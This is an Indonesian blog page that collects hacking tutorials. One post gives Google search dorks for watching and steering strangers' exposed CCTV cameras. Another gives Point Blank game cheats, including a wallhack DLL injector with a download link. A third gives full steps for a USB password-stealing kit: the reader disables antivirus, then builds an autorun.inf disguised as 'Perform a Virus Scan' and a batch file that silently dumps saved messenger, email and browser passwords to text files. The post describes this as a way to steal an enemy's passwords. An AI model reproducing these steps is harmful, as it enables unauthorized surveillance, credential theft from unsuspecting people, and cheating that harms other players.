* Sebaiknya, kalo qta punya beberapa blog, bila setting : Automate Blog Credits is  ON, maka semua credit akan dibagi rata ke semua blog. Bila OFF, maka qta dapat menyetel credit yg berbeda utk setiap blog yg qta daftarkan.
* Lakukanlah surfing di Windows yg terpisah dengan Blog Manager-nya, lalu setelah beberapa kali surfing, refresh-lah Blog Manager ini, spy qta tahu berapa total traffic terakhir yg masuk.
* Bila masih perlu penjelasan, bacalah juga FAQ-nya >> Klik di sini ...
* Okelah, kalaw begituw, semoga sukses... biar yg begadangan gak dpt traffic, sdh bisa tidur nyenyak sekarang... wehehe...

Ayo kapan lagi..? Cobain aja.. Silakan aja Copy Artikel ini ke blog anda dg mengantikan URL blog "blogclicker" anda..

Senin, 17 Oktober 2011

Hack Kamera CCTV Lewat Google


cctv




Google melayani hampir 80 persen dari seluruh permintaan pencarian di Internet, membuktikan dirinya sebagai mesin pencari paling populer. Namun Google memungkinkan untuk mencapai bukan hanya sumber informasi yang tersedia untuk publik, tetapi juga memberikan akses ke sebagian dari informasi rahasia yang seharusnya tidak pernah diungkapkan. Dalam posting ini saya akan menunjukkan bagaimana cara menggunakan Google untuk mengeksploitasi kelemahan keamanan di dalam website. Berikut ini adalah salah satu hack yang dapat diselesaikan menggunakan Google. 



Hacking Kamera Keamanan

Terdapat banyak kamera keamanan yang digunakan untuk memantau tempat-tempat seperti tempat parkir, kampus, dll lalu lintas jalan yang bisa hack menggunakan Google agar Anda dapat melihat gambar yang diambil oleh kamera mereka secara real time. Yang harus Anda lakukan adalah menggunakan permintaan pencarian di Google. Ketik di kotak pencarian Google persis seperti berikut dan tekan enter :

inurl:”viewerframe?mode=motion”

Klik pada salah satu hasil pencarian (Top 5 direkomendasikan) dan Anda akan mendapatkan akses ke kamera hidup yang penuh kontrol. Anda akan melihat sesuatu sebagai berikut :




Seperti yang anda lihat di atas layar, Anda sekarang memiliki akses ke kamera Live yang bekerja secara real-time. Anda juga dapat memindahkan kamera di seluruh empat arah, melakukan tindakan seperti memperbesar dan memperkecil. Kamera ini memiliki benar-benar kurang refresh rate. Tetapi ada pencarian lain di mana Anda dapat memperoleh akses ke kamera lain yang memiliki refresh rate lebih cepat.
Jadi untuk mengaksesnya cukup gunakan permintaan pencarian berikut. 

intitle:”Live View / – AXIS”

Klik pada salah satu hasil pencarian untuk akses yang berbeda hidup kamera. Dengan demikian Anda memiliki Kamera Keamanan hacked menggunakan Google.
 Bahasan ini saya dapat dari : http://harry-ware.blogspot.com

Selamat mencoba 

Cara Curang Bermain Point Blank, Ini Cara Cheat Game PBnya


cheat pb Ingin Curang Bermain Point Blank, Ini Cara Cheat Game PBnyaSaya tertarik untuk menyajikan beberapa artikel tentang game, terutama game yang satu ini, dari hari kehari grafik pencarian googlenya semakin naik saja, bahkan minggu terakhir ini naik lebih dari 70% pencari keyword Point Blank pada google, ada yang ingin download point blank, ada yang cari cheat engine , selain itu keyword keyword yang paling dicari berkenaan dengan game online ini adalah point blank online, point blank indonesia, pb, cheat pb, nah untuk kali saya coba tampilkan artikel tentang gimana bermain curang dalam game point blank agar kita selalu menang atau mendapat kelebihan fasilitas,

Cheat Point Blank

Point Blank?? Ada yang tahu?? saya sendiri kurang tahu apa itu point blank, kayanya sih game online deh sob,, hehehe
Loh?? ko g tau tapi ngasih tau?? banyak yang request sih, yaudah jadi nya mau nggak mau. Hehehe
Artikel ini saya dapatkan dari : “http://w3.produknya.web.id/2011/03/cheat-game-point-blank-collection.html
Oke, langsung aja  Langkah2nya adalah :
1. Launch PointBlank dengan Windows Mode
2. Launch MLE
3. Hide MLE dengan HideToolz
4. Attach ke PointBlank.exe
Cheat Infininty HP
awalnya fload -> 100
setelah itu kurangi darah kamu
umpama buang bom kena sndiri, tgl 40 darahnya
40 next scan
setelah itu… klik 2x dibar sebelah itu
ganti dah valuenya…value itu kan jadi darah kalian…
Note : Kadang – kadang headshoot bs mati lho… so hati- hati ya.
Cheat Infinity Ammo
  1. scan jumlah peluru anda ( ex : 30 -> 4 byte -> First Scan )
  2. Tembak sembarang aja biar pelor kurang
  3. Setelah itu jumlah peluru setelah tembakan itu jadi kan next scan ( ex: 28 -> next scan )
  4. setelah itu ada bar value yg ada dikiri
  5. klik 2x… setelah itu ganti value nya ( value itu kan jadi amunisi anda )

Point Blank Online Indonesia Ingin Curang Bermain Point Blank, Ini Cara Cheat Game PBnya
Banyak sekali gamer indonesia yang menyukai game ini karena game ini sangatlah menarik. Game point blank ini diperuntukan untuk semua kalangan dan cara bermainyapun sangatlah mudah. Tetapi kadangkala untuk membeli sebuah senjata kita harus perlu mempunyai point lebih ataupun harus membeli cash. Dan cash itu tidak bertahan lama karena harus sesuai dengan hari,. karena itu saya ingin sharing dengan para PB mania.

Cheat Headshot
24326 1287502157522 1529242631 30815740 5799844 n Ingin Curang Bermain Point Blank, Ini Cara Cheat Game PBnya
cheat ini berfungsi agar lawan terkena headshot. 
Cheat HP unlimited
 Ingin Curang Bermain Point Blank, Ini Cara Cheat Game PBnya
cheat ini merupakan cheat untuk menjadikan darah kita tidak bisa habis2…
Cheat Ammo unlimited
 Ingin Curang Bermain Point Blank, Ini Cara Cheat Game PBnya
cheat ini merupakan cheat untuk membuat peluru atau ammo kita tidak bisa habis2… dan untuk dual criss pun sangatlah menyenangkan…
Cheat Point
 Ingin Curang Bermain Point Blank, Ini Cara Cheat Game PBnyacheat ini merupakan cheat untuk membuat point
yang kita punya jadi berlipat ganda.
Cheat Cash
 Ingin Curang Bermain Point Blank, Ini Cara Cheat Game PBnya
cheat ini merupakan cheat untuk membuat cash yang kita punya jadi berlipat ganda.
=======================================================
New Wallhack MPGH 10-03-2011 + DLL Injector
Credit : [MPGH]Dave84311
Features:
* Wallhack
* Chams
* Crosshair
* No Smoke
INSERT = ON
Instruction :
1. Extract WH 10-03-2011.rar
2. Copy D3DX9_43.dll ke C.Windows.system32.
3. Buka Dll_injector, Browse ke pb.dll
4. Start PB,, Saat Loading Hackshield Pilih Proses PointBlank.exe lalu Inject
5. Happy Cheating
download nih
http://adf.ly/onMi

Selamat mencoba…

Sumber : http://w3.produknya.web.id/2011/03/cheat-game-point-blank-collection.html

Cara Mencuri password komputer musuh dengan Flashdisk

Tahukah anda fitur "keep me logged in", "Remember me on this computer" dan sebangsanya. Merupakan hal yang memudahkan kita agar tidak mengulang lagi dalam memasukkan username dan password, akan tetapi itu merupakan hal yang fatal. Karena kita dapat mencuri username dan password tersebut hanya dengan sebuah perangkat seperti Flashdisk.

Untuk itu saya sarankan agar anda hati-hati dalam menggunakan fitur-fitur tersebut, karena akan merugikan diri anda sendiri. Karena dengan tool-tool yang saya berikan, maka dengan mudah username dan password anda akan bisa di ambil atau di recovery.

Berikut tool beserta linknya :

MessenPass : piranti recover password yang paling populer untuk Program Instant Messenger seperti: MSN Messenger, Windows Messenger, Yahoo Messenger, ICQ Lite 4.x/2003, AOL Instant Messenger, Trillian, Miranda, dan Gaim.

Mail PassView
: merecovery password dari program email seperti: Outlook Express, Microsoft Outlook 2000 (POP3 dan SMTP Account saja), Microsoft Outlook 2002/2003 (POP3, IMAP, HTTP dan SMTP Account), IncrediMail, Eudora, Netscape Mail, Mozilla Thunderbird dan Group Mail Gratis lainnya.

IE Passview : adalah utilitas sederhana yang bisa merecovery password dari browser Internet Explorer. Versi ini mendukung Internet Explorer 7.0, serta versi Internet explorer, v4.0 – v6.0.

Protected Storage PassView
: merecovery semua password yang tersimpan dalam Protected Storage, termasuk AutoComplete password Internet Explorer, password dari situs yang dilindungi sandi, MSN Explorer Sandi, dan masih banyak lagi …

PasswordFox : PasswordFox [TERUS TERANG ANE PALING SUKA SAMA YANG INI] adalah utilitas pemulihan password sederhana yang memungkinkan anda melihat nama pengguna dan sandi yang disimpan oleh browser Mozilla Firefox. Secara default, PasswordFox menampilkan password yang disimpan dalam profil aktif Anda, tetapi Anda dapat dengan mudah memilih untuk melihat password Firefox di lain profil.


Berikut adalah langkah demi langkah untuk menciptakan procedure password hacking toolkit dalam USB Drive (Flashdisk) :

CATATAN : Anda harus menonaktifkan sementara antivirus Anda sebelum mengikuti langkah-langkah ini.

1. Download dan ekstrak ke 5 tools di atas dan copy file executable (Exe file) saja ke Flashdisk yaitu : Salinlah file – mspass.exe, mailpv.exe, iepv.exe, pspv.exe dan passwordfox.exe ke dalam USB Drive.

2. Buat file Notepad baru dan dan ketik teks berikut ini :
[autorun]
open=launch.bat
ACTION= Perform a Virus Scan
3. Simpan Notepad and rename dari New Text Document.txt menjadi autorun.inf, lalu
copy file autorun.inf ke dalam USB drive.

4. Buat file Notepad baru lagi dan ketik teks berikut :
start mspass.exe /stext mspass.txt
start mailpv.exe /stext mailpv.txt
start iepv.exe /stext iepv.txt
start pspv.exe /stext pspv.txt
start passwordfox.exe /stext passwordfox.txt
5. Simpan file Notepad and gantilah namanya dari New Text Document.txt menjadi launch.bat, lalu Salin file launch.bat ke dalam USB drive Anda.

Sekarang rootkit Anda sudah siap di gunakan untuk hack password. Namun, tools Hack ini akan bekerja pada Windows 2000, XP, Vista dan 7 serta akan memulihkan password jika ada password yang tersimpan dalam computer.


Cara menggunakan flashdisk hack tools sebagai berikut :

1. Masukkan flashdisk ke USB Port dan jendela pop-up autorun akan tampil. (Hal ini karena, ada telah menciptakan sebuah autorun di flashdisk).

2. PENTING : Pada jendela pop-up, pilih pilihan pertama ( melakukan scan Virus | Perform a Virus Scan).

3. Sekarang, semua hacking tools password berjalan secara diam-diam di belakang layar. Proses ini memakan waktu tidak terlalu lama. Password yang di temukan akan di recover untuk selanjutnya disimpan dalam sebuah file TXT.

4. Keluarkan flashdisk dan Anda akan melihat password yang tersimpan dalam format TXT file.

Selamat Mencoba